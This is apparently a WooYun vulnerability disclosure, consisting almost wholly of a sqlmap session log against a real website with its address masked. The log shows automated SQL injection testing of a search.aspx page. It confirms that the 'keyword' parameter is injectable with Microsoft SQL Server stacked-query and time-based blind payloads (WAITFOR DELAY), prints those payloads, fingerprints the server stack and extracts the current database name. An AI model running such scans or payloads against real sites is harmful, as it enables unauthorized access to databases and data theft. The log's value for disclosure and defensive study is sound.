WooYun.org

注入点：http://**.**.**.**/search.aspx?chid=13&fieldname=title&keyword=%5Bobject%20HTMLInputElement%5D
C:\Python27\sqlmap>sqlmap.py -u"http://**.**.**.**/search.aspx?chid=13&fieldname=title&keyword=%5Bobject%20HTMLInputElement%5D" --dbs
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://**.**.**.**
[*] starting at: 10:56:27
[10:56:27] [INFO] using 'C:\Python27\sqlmap\output\**.**.**.**\session' as session file
[10:56:27] [INFO] testing connection to the target url
[10:56:29] [INFO] testing if the url is stable, wait a few seconds
[10:56:32] [INFO] url is stable
[10:56:32] [INFO] testing if GET parameter 'chid' is dynamic
sqlmap got a 302 redirect to /user/msg.aspx - What target address do you want to use from now on? http://**.**.**.**:80/search.aspx (default) or provide a
>
[10:56:38] [INFO] confirming that GET parameter 'chid' is dynamic
[10:56:38] [INFO] GET parameter 'chid' is dynamic
[10:56:40] [WARNING] heuristic test shows that GET parameter 'chid' might not be injectable
[10:56:40] [INFO] testing sql injection on GET parameter 'chid'
[10:56:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:57:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:57:02] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:57:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:57:17] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:57:17] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:57:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:57:30] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:57:38] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:57:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:57:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:57:52] [INFO] testing 'Oracle AND time-based blind'
[10:57:59] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:58:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:58:04] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
[10:58:10] [WARNING] GET parameter 'chid' is not injectable
[10:58:10] [INFO] testing if GET parameter 'fieldname' is dynamic
[10:58:10] [INFO] confirming that GET parameter 'fieldname' is dynamic
[10:58:10] [INFO] GET parameter 'fieldname' is dynamic
[10:58:10] [WARNING] heuristic test shows that GET parameter 'fieldname' might not be injectable
[10:58:10] [INFO] testing sql injection on GET parameter 'fieldname'
[10:58:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:58:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:58:13] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:58:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:58:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:58:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:58:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:58:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:58:19] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:58:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:58:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:58:21] [INFO] testing 'Oracle AND time-based blind'
[10:58:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[10:58:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[10:58:27] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
[10:58:32] [WARNING] GET parameter 'fieldname' is not injectable
[10:58:32] [INFO] testing if GET parameter 'keyword' is dynamic
[10:58:33] [INFO] confirming that GET parameter 'keyword' is dynamic
[10:58:35] [INFO] GET parameter 'keyword' is dynamic
[10:58:35] [WARNING] heuristic test shows that GET parameter 'keyword' might not be injectable
[10:58:35] [INFO] testing sql injection on GET parameter 'keyword'
[10:58:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:58:48] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:58:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:58:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:59:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:59:03] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:59:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:59:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:59:42] [INFO] GET parameter 'keyword' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[10:59:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:59:42] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:59:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[11:00:06] [INFO] GET parameter 'keyword' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[11:00:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[11:00:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[11:00:07] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
GET parameter 'keyword' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 335 HTTP(s) requests:
---
Place: GET
Parameter: keyword
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: chid=13&fieldname=title&keyword=[object HTMLInputElement]'; WAITFOR DELAY '0:0:5';-- AND 'WeoP'='WeoP
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: chid=13&fieldname=title&keyword=[object HTMLInputElement]' WAITFOR DELAY '0:0:5'-- AND 'Lyhm'='Lyhm
---
[11:01:00] [INFO] testing MySQL
[11:01:01] [WARNING] the back-end DBMS is not MySQL
[11:01:01] [INFO] testing Oracle
[11:01:01] [WARNING] the back-end DBMS is not Oracle
[11:01:01] [INFO] testing PostgreSQL
[11:01:01] [WARNING] the back-end DBMS is not PostgreSQL
[11:01:01] [INFO] testing Microsoft SQL Server
[11:01:14] [INFO] confirming Microsoft SQL Server
[11:01:37] [WARNING] adjusting time delay to 4 seconds
[11:01:47] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[11:01:47] [INFO] fetching database names
[11:01:47] [INFO] fetching number of databases
[11:01:47] [INFO] retrieved:
[11:01:48] [ERROR] unable to retrieve the number of databases
[11:01:48] [INFO] falling back to current database
[11:01:48] [INFO] fetching current database
[11:01:48] [INFO] retrieved: new_sn
available databases [1]:
[*] new_sn
[11:07:16] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 60 times
[11:07:16] [INFO] Fetched data logged to text files under 'C:\Python27\sqlmap\output\**.**.**.**'